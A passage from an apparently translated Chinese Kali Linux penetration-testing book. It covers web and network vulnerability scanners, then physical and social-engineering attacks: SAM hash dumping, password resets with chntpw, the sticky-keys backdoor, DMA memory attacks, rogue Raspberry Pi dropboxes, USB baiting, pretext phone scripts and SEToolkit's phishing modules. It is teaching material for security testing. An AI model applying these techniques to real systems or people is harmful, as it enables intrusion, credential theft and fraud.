在努力提高可靠性方面，许多渗透测试者使用多种工具扫描Web服务；当多个工具同时报告可能存在一个特定的漏洞，这样的共识将直接驱使测试者手动验证漏洞是否存在。

Kali针对Web服务配有大量漏洞扫描器，并为安装新的扫描仪和扩展其能力提供了一个稳定平台。这就允许渗透测试人员通过选择扫描工具来提高测试的有效性：

·最大限度的完整性（漏洞发现的总数）和测试精度（这是真实的，没有假阳性结果的漏洞）。

·尽量减少所需的时间，以获得可用的结果。

·尽量减少对被测试网络服务的负面影响。这包括由于流量的增加而使系统反应变慢。

·例如，最常见的负面影响之一是测试结果的形式，输入数据到数据库，然后通过电子邮件发送，一个人提供了一个已经发生更新变化的系统，不受控制的测试结果形式，可以导致发送超过30000封电子邮件！

·选择最有效的工具是非常复杂的。除了已经列出的因素，一些漏洞扫描器也具有相应的漏洞利用和支持后期漏洞活动的功能。对于我们而言，我们会考虑所有工具，扫描可利用的弱点是“漏洞扫描”。Kali提供几种不同的漏洞扫描器，主要如下：

·扫描器扩展了传统的漏洞扫描程序的功能，包括网站和关联服务（Metasploit框架和Websploit）。

·扫描器拓展了非传统的功能应用，如Web浏览器，支持Web服务漏洞扫描（OWASP Mantra）。

·扫描器是专门开发用于支持对网站和网页服务的侦察和利用检测（Arachnid、Nikto、Skipfish、Vega、w3af等）。


4.4.1　Nikto和Vege简介

Nikto是对Web服务器执行全面测试活动最有效的Web应用扫描程序之一。基本功能是检查超过6700个有潜在危险的文件或程序，检查服务器的过时版本，以及超过270台服务器的特定版本的漏洞；服务器错误配置、索引文件、HTTP方法，以及尝试识别已安装的Web服务器和软件版本。Nikto根据Open-General公共许可证版本（https://opensource.org/license/gpl-license
 ）发布。

一个基于Perl的开源扫描器，允许躲避IDS以及用户改变扫描模块；然而，这种“原生态”的网络扫描器仪开始跟不上形势发展，它没有某些现代扫描器准确。

大多数测试者开始测试一个网站时都使用Nikto，这是一个简单的扫描器（特别是有关结果报告），通常提供准确但有限的结果。这种扫描的一个样本输出显示如图4.9所示。

下一步是使用更先进的扫描器扫描大量的漏洞；相对来说，它们可能需要更长的时间来完成。复杂的漏洞扫描是不寻常的（如确定被扫描的网页的数目，也就是网站的复杂性，可能包含多种页面，允许用户输入，如搜索功能或表单，从用户的后台数据库收集数据），需要数天才能完成。
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图4.9　使用Nikto测试网站

一种基于验证发现漏洞数量的、最有效的扫描器是Subgraph Vega。如图4.10所示，它会扫描目标，并将漏洞分级为高、中、低或信息。为了得到特别的结果，该测试仪能够点击确定结果为“drill down”（深入）。该测试仪还可以修改搜索模块，这是用Java编写的，专注于特定的漏洞或找出新的安全漏洞。
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图4.10　使用Subgraph Vega发现漏洞

Vega可以帮助用户找到漏洞，例如映射跨站点脚本、存储跨站点脚本、盲SQL注入、远程文件包含、shell注入等。Vega还可以对TLS/SSL进行安全设置，提高TLS服务器安全性。

Vega还提供了Proxy部分的特殊功能，允许渗透测试人员回复请求并观察响应以执行验证，我们称之为手动PoC。图4.11显示了Vega的代理部分的内容。
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图4.11　Vega的代理部分的内容


4.4.2　定制Nikto和Vege

从Nikto2.1.1版本开始，社区允许开发人员调试和调用特定的插件，同样，从版本2.1.2开始可以相应地进行定制，所有插件都在列表中，然后指定一个特定的插件来执行任何扫描。

目前渗透测试员可以使用的插件大约有35个；图4.12提供了在最新版本的Nikto中可用的插件：

例如，如果攻击者发现工具信息，如Apache server 2.2.0，那么Nikto会通过命令：nikto.pl-host<hostaddress>-port<hostport>-useragentnikto-useproxy http://127.0.0.1:8080
 来第一个扫描burp或者其他代理工具；可以通过运行以下命令将Nikto自定义为仅为Apache用户枚举运行的特定插件：
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渗透测试者的运行结果如图4.13所示。

当Nikto插件成功运行时，输出文件apacheusers.xml将包含目标主机上的活动用户。

与Nikto类似，Vega还允许我们通过导航窗口并选择偏好项（Preferences）来定制扫描器，通过它可以设置一般的代理配置，甚至可以为第三方代理工具指定流量。然而，Vega有自己的代理工具可以使用。图4.14提供了在开始Web应用程序扫描之前可以设置的扫描器选项。
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图4.12　Nikto中可用的插件列表
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图4.13　用Nikto自定义针对Apache的特定插件

攻击者可以定义自己的用户代理或模拟任何知名的用户代理，如IRC bot或Google bot，还可以配置最大数量的总派生和子进程，可以遍历的路径数。例如，如果泄露显示了www.target.com/admin/
 ，有一个字典添加到URL：www.target.com/admin/secret/
 。默认情况下最大值设置为16，但是攻击者可以利用其他工具来深入挖掘，以最大限度地提高Vega的有效性，并且精确地选择路径的正确数量，在存在保护机制的情况下，例如WAF或网络等级IPS，渗透测试员可以选择以每秒慢速连接的速度扫描并发送到目标。还可以设置最大响应，默认设置为1MB（1024kB）。

一旦设置了首选项，在添加新扫描时可以进一步自定义扫描。当渗透测试人员点击新的扫描，输入基本URL进行扫描并单击下一步。测试人员自定义扫描，如图4.15所示：
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图4.14　Vege扫描器列表
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图4.15　Vege选择模块界面

Vega提供两个部分进行自定义：一个是注入模块，另一个是响应处理模块：

·注入模块（Injection modules）：这包括作为内置Vega Web漏洞数据库一部分的漏洞利用模块列表，并测试目标的漏洞，例如盲SQL注入、XSS、远程文件包含、本地文件包含、标题注入等。

·响应处理模块（Response processing modules）：这包括可以作为HTTP响应本身的一部分安全配置列表，例如目录列表、错误页面、跨域策略、版本控制字符串，等等。Vega还支持测试人员添加自己的插件模块（https://github.com/subgraph/Vega/
 ）。


4.5　移动应用漏洞扫描程序

渗透测试员经常忽视在商店（苹果、谷歌等）上的移动应用程序；然而，这些应用程序也会用作网络入口点。在本节中，我们将介绍如何快速设置移动应用程序扫描程序，以及如何将移动应用程序扫描程序的结果组合在一起，并利用信息来识别更多的漏洞以实现渗透测试的目标。

移动安全框架（Mobile Security Framework，MobSF）是针对所有移动平台（包括Android、iOS和Windows）的开源自动渗透测试框架。整个框架是用Django Python框架编写的。

该框架可以从https://github.com/
 MobSF/Mobile-Security-Framework-MobSF直接下载，也可以通过git clone从Kali克隆，克隆命令为：git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF
 。

复制好框架后，按照以下步骤加入移动应用扫描仪：

1.cd Mobile-Security-Framework-MobSF/。

2.pip install-r requirements.txt。

3.安装完成后，通过输入python manage.py test来测试配置设置；你应当可以看到类似如图4.16所示的内容。
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图4.16　在Kali Linux上测试配置设置

4.现在安装转移应用程序：
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5.运行漏洞扫描器python manage.py runserver y ourIPaddress：portnumber，如图4.17所示：
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图4.17　运行漏洞扫描器

6.在浏览器中访问URL：http://yourIPaddress：Portnumber
 ，将侦察期间发现的任何移动应用程序上传到扫描器，用于识别入口点。

7.一旦文件上传，渗透测试人员可以识别配置扫描仪器的文件以及所有其他重要信息，如图4.18所示。
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图4.18　查看配置扫描器的文件信息

此信息有时可用于其他已识别服务和漏洞的硬编码凭据。移动安全框架中更重要的部分是URL、恶意软件和字符串。这令我们在渗透测试期间要更加注重细节。


4.6　网络漏洞扫描程序OpenVAS

开放漏洞评估系统（Open Vulnerability Assessment System，OpenVAS）是一个开源的漏洞评估扫描器，也是攻击者通常用来大规模扫描网络的漏洞管理工具，其中包括大约有47000个漏洞的数据库；然而，与其他商业工具（如Nessus、nexpose、Qualys等）相比，这可以被认为是一个慢的网络漏洞扫描程序。

如果OpenVAS尚未安装，请确保Kali是最新版本，并通过运行apt-get install Openvas命令安装最新的OpenVAS。安装完成后，运行openvas-setup命令设置OpenVAS。为了确保安装可行，渗透测试人员可以运用行命令openvas-check-setup，它会列出运行OpenVAS所需的前10个项目。安装成功后，测试人员应该能够看到如图4.19所示内容。
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图4.19　OpenVAS安装成功的界面

接下来，通过运行openvasmd-user=admin-new-password=YourNewPassword1，-new-password=YourNewPassword1命令创建管理员用户，并通过从提示符运行openvas-start命令启动OpenVAS扫描程序和OpenVAS管理器服务。根据带宽和计算机资源，这可能需要一段时间。安装和更新完成后，渗透测试人员应能够使用SSL（https://localhost:9392
 ）访问端口9392上的OpenVAS服务器，如图4.20所示。

下一步是通过使用yournewpassword1作为密码，输入admin作为管理员来验证用户凭据，测试人员应该可以顺利登录，登录成功后如图4.21所示。攻击者现在可以通过输入目标信息，并从扫描器界面点击Start Scan（开始扫描）来设置OpenVAS。
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图4.20　选择端口访问OpenVAS
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图4.21　OpenVAS主界面

定制OpenVAS

与其他扫描器不同的是OpenVAS还可以自定义扫描配置，它允许测试人员添加凭证，禁用特定的插件，并设置可以进行的最大和最小连接数等。

图4.22显示了允许攻击者更改所有必需设置以相应地进行自定义的位置：
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图4.22　OpenVAS自定义扫描配置界面


4.7　专业扫描器

杀链的利用阶段是最危险的一个阶段，渗透测试者或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用隐身技术，以最大限度地减少测试者暴露的风险。虽然没有具体的方法或工具可以确定无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。

另外值得使用的扫描器是Web应用程序攻击和审计框架（Web Application Attack and Audit Framework，w3af），一个基于Python的开源Web应用程序安全扫描器。它提供预配置的漏洞扫描，以支持诸如OWASP标准。使用扫描器的过多选项是有代价的，它需要的时间明显长于其他扫描器审查目标的时间，并且在很长的测试时间中，很容易出现故障。配置为样本网站的完整审计w3af实例，如图4.23所示。

Kali还包括一些特殊应用的漏洞扫描器。例如，WPScan是专门用于WordPress CMS应用的。
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图4.23　使用w3af审计


4.8　威胁建模

被动和主动侦察阶段，将在目标网络和系统之间形成映射，同时识别攻击者可利用的安全漏洞。在这个阶段，攻击者的杀链对动作有一个强烈的偏见——测试者希望通过直接启动攻击来证明他们可以击垮目标。然而，意外攻击可能并不是实现目的最为有效的手段，它可能以牺牲所需要的隐身性为代价来实现攻击目的。

渗透测试者已经采取的（正式或非正式的）一个过程，被称为威胁建模。这最初是由网络规划者发展起来的，制定针对攻击的防御对策的过程。

渗透测试者和攻击者通过不断寻找防御威胁建模方法来提高攻击的成功率。攻击威胁建模是制定攻击策略的一个较为常见的手段，它将侦察和研究的结果相结合。攻击者必须充分考虑现有的目标，并确定目标是以下何种类型：

·首要目标：当这些目标被击垮时，这些目标将直接帮助攻击者达到目的。

·次要目标：这些目标可以提供信息（安全控制、密码、登录政策、本地，以及域管理员名字和密码）以支持对首要目标进行攻击或访问。

·第三目标：这些目标可能与测试或攻击无关，但是相对容易攻击，可以为实际攻击提供信息或者其他的思路。

对每种类型的目标，测试者需要确定相应的测试方案。单个漏洞可以通过隐身技术进行攻击，而多目标可以通过大量攻击来对目标进行快速渗透。如果实施一个大规模的攻击，防护者的控制装置产生的噪声，经常会导致他们减少在路由器和防火墙的登录次数，甚至完全禁用它们。

该方法对渗透选择具有指导性作用。一般情况下，攻击者创建威胁模型时，将遵循图4.24所示的攻击树方法。
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图4.24　威胁模型的攻击树图

攻击树方法为测试者查看可用的攻击选项提供了便利，如果一个攻击方案没有成功，也可以快速找到替代方案。一旦生成攻击树，接下来渗透阶段需要确定该渗透是否可以对目标对象的漏洞进行攻击。在上面的攻击树中，我们可视化了获取工程文档的目标，这对于提供工程服务的组织来说更为关键。


4.9　小结

在本章中，我们重点介绍了多个漏洞评估工具和技术。我们已经学习到如何用NSE编写自己的nmap漏洞脚本和使用工具，这些工具可以将主动侦察的结果转换为一个定制的活动，该行动将建立起测试人员和目标之间的访问。

Kali提供了一些工具来方便开发、选择和漏洞利用，包括内部exploit-db数据库，以及简化漏洞利用和管理的几个框架。

下一章将重点介绍攻击者杀链最重要的部分——利用阶段。物理安全是访问数据系统的一种方法（如果你可以启动或者有root权限！）；物理安全与社会工程紧密联系，黑客的艺术与对他们的信任息息相关。这是攻击的一部分，在这里攻击者实现他们的目标。典型的利用活动包括利用访问控制来横向扩展和利用窃取用户凭据来纵向扩展。


第5章　物理安全和社会工程学

“如果你认为你可以或不可以——你都是对的。”

亨利·福特

社会工程是从人类提取信息的一门艺术。在与目标系统的物理访问相结合的时候，它可能更有效。在渗透测试和真实攻击中，它是最成功的攻击方法之一。社会工程学攻击能够成功的关键因素有以下两个：

·在侦察阶段获取的信息，攻击者必须知道目标的名称和用户名称；更重要的是，攻击者要弄清楚目标网络中用户所关注的东西。

·弄清楚如何利用这些信息，通过角色模仿，用电话与他们交谈，向他们发送请求，劝说可能的目标点击某个链接或者执行某个程序，从而进行攻击。例如，如果目标企业与之前的竞争对手合并不久，那么员工的工作安全就是最受关注的。因此，标题的内容与上述话题有关的邮件或者文档，更容易被目标企业的员工打开。

Kali Linux提供了一些工具和框架，再利用社会工程去影响受害者，使其打开文件或执行某些操作时，这些工具和框架能够增加成功的机会。在提供的实例中，包括了脚本攻击（例如Visual Basic、WMI和PowerShell脚本）、使用Metasploit框架生成的可执行文件和浏览器攻击框架（The Browser Exploitation Framework，BeEF）。

本章集中介绍社会工程学工具包SEToolkit（Social-Engineer Toolkit）。本章所介绍的相关工具的技术可以作为使用其他工具进行社会工程学攻击时的参考模型。

在本章结束时，你将学到：

·攻击者可以利用不同的社会工程学攻击方法。

·如何在控制台执行物理攻击。

·如何使用微控制器和USB创建流氓物理设备。

·如何使用凭据收割机攻击窃取或者收集用户名和密码。

·如何进行标签钓鱼和Web劫持攻击。

·如何使用多种Web混合攻击方法。

·如何使用PowerShell的字母数字shellcode注入攻击。

·如何在Kali Linux上设置网络钓鱼功能（Phishing Frency）。

·如何启动电子邮件网络钓鱼攻击。

为了支持SET工具包进行社会工程攻击，下面将描述一般的实现实践：

·隐藏恶意的可执行文件和伪装攻击者的URL。

·使用DNS重定向来升级攻击。


5.1　方法和攻击方法

作为一种支持杀链的攻击路径，社会工程关注的是非技术方面的攻击，具体来说就是利用人的信任关系或者内部人员的帮助，通过欺骗的手段入侵一个网络及其资源。图5.1描述了攻击者获取信息的不同类型的攻击方法。
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图5.1　社会工程获取信息的主要方法

社会工程涉及三个主要类别：基于计算机、语音和物理攻击。后面将简要介绍各种类型，而本章将探讨基于计算机的攻击，特别是使用Kali Linux的物理攻击和电子邮件钓鱼。


5.1.1　基于计算机的攻击

利用计算机去实现社会工程攻击的方法分为以下类型。只有当最大程度地利用所有被动和主动侦察信息时，才能最好地利用所有这些不同类型的攻击：

·电子邮件钓鱼（Email phishing）：攻击者利用电子邮件获取信息，或利用受害者系统中的已知软件漏洞的攻击称为电子邮件钓鱼。

·引诱（Baiting）：这是一种用于嵌入已知漏洞并创建后门或类似的技术，通过使用USB和光盘实现目标。诱饵依赖于物理媒介、人类的好奇心利用。攻击者可以创建一个特洛伊木马，通过自动运行功能或当用户单击打开驱动器中的文件时，木马将为他们提供对系统的后门访问。

·钓鱼短信（SMSishing）：攻击者利用短信服务（Short Message Service，SMS）模式，通过网站使用网络钓鱼的组合。渗透测试人员还可以使用公开提供的服务，例如https://www.spoofmytextmessage.com
 。

·无线网络钓鱼（Wi-Fi phishing）：渗透测试人员可以通过设置类似于目标企业的假Wi-Fi获取用户名和密码。例如，如果攻击者的目标是XYZ公司，通过将Wi-Fi中的SSID设置为与该公司完全相同或相似，允许用户在没有任何密码的情况下连接到假的无线路由器。


5.1.2　基于语音的攻击

涉及利用语音信息欺骗用户对计算机执行任何操作或泄露敏感信息的任何攻击都称为基于语音的社会工程。

语音钓鱼（ViShing）是利用声音记录消息的艺术，从与受害者的通话中提取受害者个人或群体的信息。通常，语音钓鱼涉及可信任的剧本，例如，如果X公司宣布与Y公司建立新的合资企业，员工将非常好奇公司的未来会如何。这使得攻击者可以直接用预先描述的剧本来致电受害者，如下所示：

“你好，我是来自已经被宣布为新的合资公司Y的XX。我们现在都在同一个团队工作，可以让我知道你们的数据中心位于哪里并提供给我关键任务服务器列表吗？如果你不知道，你能告诉我知道的人吗？非常感谢！”


5.1.3　物理攻击

物理攻击是涉及物理存在的社会工程攻击。以下是红色队伍练习或渗透测试期间可能执行的两种物理攻击：

·冒充（Impersonation）：这需要测试人员创建一个剧本，测试者模仿一个重要的人物来收集目标公司一组员工的信息。我们最近实践了一次社会工程攻击，目的是通过物理社会工程攻击来识别域用户的用户名和密码。攻击者可以与受害用户交谈，并冒充内部IT帮助台：“亲爱的X先生，我是内部IT部门的X博士，请注意，您的系统已经与网络断开了20天，建议安装最新的系统更新，由于最新的勒索攻击，你是否介意提供笔记本电脑的用户名和密码”，这导致用户提供他们的实际笔记本电脑的细节信息。现在，我们知道下一步是为同一个系统建一个后门来维持持续访问。

·控制台上的攻击（Attacks at the console）：这涉及物理访问系统的所有攻击，例如更改管理员用户的密码、植入键盘记录器、提取存储的浏览器密码或安装后门。


5.2　控制台上的物理攻击

在本节中，我们将探讨攻击者在具有物理访问权限的系统上执行的不同类型的攻击。


5.2.1　samdump2和chntpw

转储密码散列的最佳方法之一是使用samdump2。这可以通过打开所获得的系统电源，然后利用Kali USB在BIOS中进行必要的更改来完成。

一旦系统通过Kali启动后，在默认情况下，本地硬盘驱动器必须安装为一个媒体驱动器，如图5.2所示。
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图5.2　本地硬盘驱动安装为媒体驱动器

如果驱动器无法安装，则攻击者将按照下面的步骤来安装驱动器，运行以下命令：
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一旦安装了系统，导航到以下安装文件夹：/media/root/<ID>/Windows/System32/Config，并运行samdump2SYSTEM SAM，如图5.3所示。SYSTEM和SAM文件应该显示所有用户系统驱动器以及它们的密码散列值，然后使用John Ripper或Credump工具破解密码。
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图5.3　运行samdump2SYSTEM SAM

使用相同的访问权限，攻击者也可以删除系统中用户的密码。chntpw是一个Kali Linux工具，可以用于编辑Windows注册表、重置用户密码、将用户提升为管理员，以及其他一些有用的选项。使用chntpw重置Windows密码是一种很好的方法。或者，当你不知道密码的时候，也可以使用chntpw获得对Windows的访问。

chntpw是用于在Windows NT/2000、XP、Vista中查看一些信息和更改用户密码的实用程序。

SAM用户数据库文件通常位于Windows文件系统上的\WINDOWS\system32\config\SAM。导航到同一个文件夹，如图5.4所示。
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图5.4　导航到同一个文件夹

运行chntpw SAM，密码存储在Windows中的SAM文件中。安全账户管理器（Security Accounts Manager，SAM）是Windows XP、Windows Vista和Windows 7中存储用户密码的数据库文件。

它可用于对本地和远程用户进行身份验证。通常情况下，SAM文件位于C/Windows/system32/config/SAM中，如图5.5所示。
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图5.5　显示用户密码

最后你应该可以得到确认，如<SAM>-OK。

有时你可能无法访问windows/system32，此时可以使用文件浏览器，然后右击打开终端。

其他旁路工具包括Kon-boot，这是另一个与chntpw有类似功能的取证实用程序，但是Kon-boot只会影响管理员账户，而不会删除管理员密码，它让你无密码登录，而在下次系统正常重新启动时，原管理员的密码是完整的，可从https://www.piotrbania.com/all/kon-boot/
 下载该工具。


5.2.2　粘滞键

本节将探讨如何物理访问已解锁或没有密码的Windows计算机的控制台。攻击者可以利用Microsoft Windows粘贴键功能，在几秒钟之内建立一个后门。但是，需要一个管理员权限来替换可执行文件。一旦系统通过Kali Linux启动，攻击者可以替换文件而不受任何限制。

以下是攻击者用cmd.exe或powershell.exe替换Windows的实用程序的列表：

·sethc.exe

·utilman.exe

·osk.exe

·narrator.exe

·magnify.exe

·displayswitch.exe

如图5.6所示，攻击者用cmd.exe替换sethc.exe。
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图5.6　攻击者用cmd.exe替换sethc.exe


5.2.3　使用Inception攻击系统内存

Inception是操纵和利用基于PCI的直接存储器存取（Direct Memory Access，DMA）的工具。该工具可以通过FireWire、Thunderbolt、Express卡、PC卡和其他PCI/PCI2接口攻击DMA。Inception可通过DMA对活动计算机执行侵入和非侵入的内存攻击。

安装Inception，攻击者可以在https://github.com/carmaa/inception.git
 克隆Git仓库。以下是涉及的典型步骤：
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为了确保火线（FireWire）电缆与系统通信，必须安装取证1394库，该库是通过IEEE 1394（FireWire）接口执行内存取证的库。一旦安装了所有的库，渗透测试人员就可以攻击受害者系统了。攻击者可以从终端运行./incept-h，并且可以看到如图5.7所示的帮助（help）菜单。
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图5.7　攻击者看到的Inception模块帮助菜单

当前版本的Inception具有以下模块：

·总线信息（Businfo）：该模块提供连接线上的串行总线信息。

·植入（Implant）：植入模块通过DMA将后门直接上载到系统中。目前的版本已经在Windows 7SP1（x86）上得到验证。

·测试（Test）：该模块测试所有驱动程序/连接以及运行Inception的其他必须信息。

·卸载（Unload）：用于卸载设备之间的连接。

·解锁（Unlock）：该模块将解锁任何密码并将权限升级到系统管理员或根，甚至系统。该模块在具有4GB主内存或更少内存的机器上更稳定。如果你的目标不止于此，你需要足够幸运才能找到工具可以达到的物理内存页面框架的映射签名。

图5.8显示了在使用FireWire1394的Windows 7机器上成功启动Inception。
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图5.8　在使用FireWire1394的Windows 7机器上成功启动Inception


5.3　创建流氓物理设备

当入侵者用直接的物理设备访问系统和网络时，Kali和SEToolkit也是有利于攻击的。这可能是一个冒险的攻击，因为入侵者可能被细心的人或被监控设备发现。然而，“奖励”可能是丰厚的，因为入侵者可以入侵的系统中有重要价值的数据。

物理访问通常是社会工程的直接结果，尤其是模仿应用。模仿包括以下内容：

·一个自称是帮助平台或IT支持的人，只需要通过安装系统升级，就能快速地打扰受害者。

·一个小商贩和一个客户聊天，然后假装有某人要聊天，或者去洗手间。

·一个投递员丢弃一个包裹。攻击者可以选择在线购买一套制服；然而，因为大多数人都认为，一身穿着棕色衣服、推着堆满箱子的手推车的人就是UPS的快递员，制服对社会工程不是必要的！

·工人穿着工作服，背着一个“工作序号”，他们打印出来的，通常允许进入配线间和其他地区，特别是，当他们声称这是建筑管理者的要求时。

穿着昂贵的西装，夹着一个写字板，来去匆匆。员工会认为你是一个新来的经理。在进行这种渗透时，我们通常会告知人们，我们是审计师，而我们的检查很少受到质疑。

对敌对的物理访问的目标是快速入侵选定的系统，这通常是通过在目标上安装一个后门，或类似的设备。

一个经典的攻击是在系统中放置一个CD-ROM、DVD或USB密钥，让系统自动播放选项安装它；然而，许多组织禁用在网络上自动播放。

攻击者还可以创建带有“有毒诱饵”（poisoned bait）陷阱的移动设备，包含文件的名称，邀请一个人点击文件，并检查其内容。一些例子如下：

·带标签的USB钥匙，如员工工资或医疗保险更新。

·Metasploit允许攻击者绑定一个有效载荷，如反向外壳，可执行文件，如屏幕保护程序。攻击者可以使用公开可用的企业形象，创建一个屏幕保护程序，并邮寄CD给员工，标有新的endorsed screensaver字样。当用户安装程序时，也安装了后门，它连接到攻击者。

·如果你知道员工参加了最近的一次会议，攻击者可以冒充一个供应商，并且发送给目标一封信件，暗示它是供应商给定的后续服务。一个典型的信息是，“如果你错过了我们的产品演示和为期一年的免费试用，请查阅USB钥匙上的幻灯片，单击start.exe文件”。

一个有趣的变种是SanDisk U3USB钥匙，或Smart Drive（智能驱动）。U3钥匙被预装软件，当插入协助启动批准程序时，启动允许钥匙直接写入文件或注册表信息。u3-pwn工具（KaliLinux|Maintaining Access|OS Backdoors|u3-pwn）从SanDisk U3删除原来的ISO文件，并且用一个敌对的Metasploit载荷代替它，然后编码以避免目标系统的检测。不幸的是，这些USB设备的支持正在减少，但是，面对相同程度的Metasploit其他工具载荷，他们仍有漏洞。

基于微机的攻击代理

Raspberry Pi是一个微型计算机—它的尺寸约8.5cm×5.5cm，但能包含512MB RAM、两个USB端口和一个以太网端口，采用Broadcom芯片，使用ARM处理器，运行频率700MHz（可超频至1GHz）。它不包括硬盘，但使用SD卡进行数据存储。如图5.9所示，Raspberry Pi约为笔长度的2/3，很容易隐藏在网络中（藏在工作站或服务器后面、放置在服务器柜中，或隐藏在数据中心的地板下）。
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图5.9　Teensy实物图

要将Raspberry Pi配置为攻击向量，以下项目是必需的：

·Raspberry Pi模型B，或较新版本。

·一个HDMI电缆。

·微型USB电缆充电设备。

·一种以太网电缆或小型无线适配器。

·一个SD卡，10级，至少8GB。

所有的设备通常可以在网上买到，费用总计少于70美元。

为了配置Raspberry，下载Kali Linux ARM的最新版本，并取出源档案。如果你的计算机基于Windows的桌面配置，然后下载并提取Win32DiskImager（http://sourceforge.net/projects/win32diskimager/
 ）。

使用一个读卡器，连接SD卡到基于Windows的计算机，并且打开Win32DiskImager。选择ARM版本的Kali，提前下载和提取kali-custom-rpi.img，并将其写入SD卡。这需要一些时间。从MAC或Linux系统独立出来的用于闪烁SD卡的指令，在Kali网站上是可用的。

插入新闪烁SD卡到Raspberry Pi，连接以太网电缆，或无线适配器到Windows工作站，通过HDMI电缆连接到显示器，以及使用微型USB电源线供电。一旦通电，它将直接引导到Kali Linux。Raspberry依靠外部电源，没有单独的开关；然而，仍然可以从命令行接受命令关闭Kali。一旦Kali安装成功，确保迄今为止它使用的是apt-get命令。

确保SSH主机键在不停改变，因为所有的Raspberry Pi的映像具有相同的密钥。使用下面的命令：
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同时，确保更改默认的用户名和密码。

下一步是配置Raspberry连接，回到一个攻击者的计算机（使用静态IP地址，或动态DNS寻址服务），固定间隔时间使用cron。攻击者必须在物理上访问目标的处所，并连接Raspberry到网络。大多数网络自动分配设备的DHCP地址，并且有限地控制对这种类型的攻击。

一旦Raspberry连接到攻击者的IP地址，攻击者可以执行侦察，利用从远程位置使用的SSH命令，对受害者的内部网络进行攻击、渗透、利用。

如果连接了无线适配器，如EW-7811Un，150Mbps无线802.11b/g/nNano USB适配器，攻击者可以进行无线连接，或者使用Pi发起无线攻击（参见第8章）。


5.4　社会工程工具包

社会工程工具包（SEToolkit）由David Kennedy（ReL1K）设计并开发，并由一群活跃的合作者进行维护（www.social-engineer.org
 ）。该工具包是开源的python驱动（pythondriven）框架，主要为协助社会工程攻击而设计。

设计工具包的目的是通过培训实现安全。SEToolkit的一个重要的优点在于它可以和Metasploit框架进行相互连接，而Metasplot框架提供了攻击，通过加密绕过防火墙，以及当目标系统返回shell时进行连接的监听等模块所需要的平台。

为了在Kali的发行版中打开社会工程工具包（SET），可以进入以下路径“Applications/Kali Linux/Exploitation Tools/Social Engineering Toolkit/setoolkit”，或者在命令行中输入“setoolkit”。打开SET后，首先会看到如图5.10所示的主界面。
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图5.10　社会工程工具包SEToolkit主界面

如果选择社会工程攻击（“1）Social-Engineering Attacks”），会出现如图5.11所示的子菜单。
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图5.11　 SEToolkit的Social-EngineeringAttacks 子菜单

以下对社会工程攻击做简单介绍：

网络钓鱼攻击向量（Spear-Phishing Attack Vector），攻击者创建邮件信息，并使用附加漏洞将信息发送给目标受害者。

网站攻击向量（Website Attack Vectors），使用多重基于Web的攻击，包括：

·Java小程序攻击方法（Java Applet Attack Method），伪造一份Java证书，并且运行一个基于Metasploit的载荷。该攻击是最成功的攻击之一，可以有效地针对Windows、Linux和OSX目标进行攻击。

·Metasploit浏览器利用方法（Metasploit Browser Exploit Method），使用iFrame攻击，运行一个Metasploit载荷。

·凭据收割机攻击方法（Credential Harvester Attack Method），对网站进行复制，并且通过对POST参数进行重写，使得攻击者可以拦截并且窃取用户的凭证。当窃取完成后，将受害者重定向回原来的网站。

·标签钓鱼攻击方法（Tabnabbing Attack Method），对一个非活动的浏览器标签页面进行复制，修改复制后的页面，使其与攻击者相连接，最后使用该页面替换原有标签信息。当用户登录该页面时，用户的凭证将会发送给攻击者。

·网页顶进攻击方法（Web Jacking Attack Method），使用iFrame替代，合法地将某些URL连接设置为高亮度。当该链接被点击时弹出一个窗口，该窗口连接到一个恶意链接。

·综合攻击网页方法（Multi-Attack Web Method），允许一个攻击者选择若干，或者全部可以同时使用的攻击手段，包括：

·Java小程序攻击方法。

·Metasploit浏览器攻击方法。

·凭证收割攻击方法。

·标签钓鱼攻击方法。

·中间人攻击方法。

·全屏攻击方法（Full-screen attack method）：在系统处于全屏模式时，攻击者在幕后发动的简单攻击方法。

·HTA攻击方式（HTA attack method）：当一个攻击者提供一个假网站，将自动下载.hta格式的HTML应用程序。

·介质感染攻击发生器（Infectious Media Generator），生成一个autorun.inf文件和Metasploit载荷。一旦受感染USB设备或者物理介质（CD或DVD）插入到目标系统，会自动运行（前提是开启autorun选项）并且感染（compromise）目标系统。

·创建负载并进行监听（Create a Payload and Listener）模块，是创建一个Metasploit载荷的快速菜单驱动方法。攻击者必须使用单独的社会工程攻击欺骗目标运行该模块。

·大规模邮件攻击（MassMailer Attack），允许攻击者使用多个用户向某个email地址，或者一组接收者发送邮件。

·基于Arduino的攻击向量（Arduino-Based Attack Vector），通过对基于Arduino的设备写入程序实现，例如Teensy。因为，这些设备在物理连接Windows操作系统时，注册为USB接口的键盘设备，因此可以禁用autorun，或者对其他的终端进行安全保护。

·短信欺骗攻击向量（SMS Spoofing Attack Vector），可以让攻击者向某人的移动设备发送自定义的短信服务（Short Message Service）文本，并且对消息的来源进行伪造。

·无线接入点攻击向量（Wireless Access Point Attack Vector），可以在攻击者的操作系统中创建一个伪造的无线接入点和DHCP服务器，并且将DNS解析请求重定向到攻击者的系统。攻击者随后可以进行一系列攻击，例如Java小程序攻击或者凭证收割攻击。

·二维码生成攻击向量（QRcode Generator Attack Vector），生成一个与攻击的URL有关的二维码。

·Powershell攻击向量（Powershell Attack Vectors），支持攻击者进行依赖于PowerShell（所有Windows Vista及其以后版本，拥有的命令行解释器和脚本语言）的攻击。

·第三方模块（Third Party Modules），支持攻击者使用远程管理工具汤米版（Remote Administration Tool Tommy Edition，RATTE）作为Java小程序攻击的一部分，或者作为一个独立的载荷。RATTE是一个文本驱动的远程访问工具。

SEToolkit也提供了支持快速跟踪渗透测试（Fast-Track Penetration Testing）的菜单项。快速跟踪渗透测试支持对一些特殊工具的快速访问，例如支持暴力破解认证和SQL数据库密码破解，还有一些基于Python、SCCM攻击向量、Dell computer DRAC/chassis攻击、用户枚举和PSEXEC PowerShell注入等的客户端攻击。

快速跟踪渗透测试菜单项同时也提供对Metasploit Framework、SEToolkit和SEToolkit配置的升级功能。但是，由于Kali并不支持全部的额外选项，而且这些额外选项可能会造成依赖性干扰，因此要尽量避免使用。

作为展示SEToolkit的强大功能的第一个例子，将会展示如何获取一个远程shell，通过被入侵系统连接攻击者的系统。


5.4.1　使用网站攻击向量——凭据收割攻击方法

凭据，通常为用户名和密码，是一个人访问网络、计算系统和数据的依据。攻击者可以使用这种间接信息（登录受害者的Gmail账户，发送电子邮件，帮助攻击受害者的信任连接），或直接攻击用户的账户。

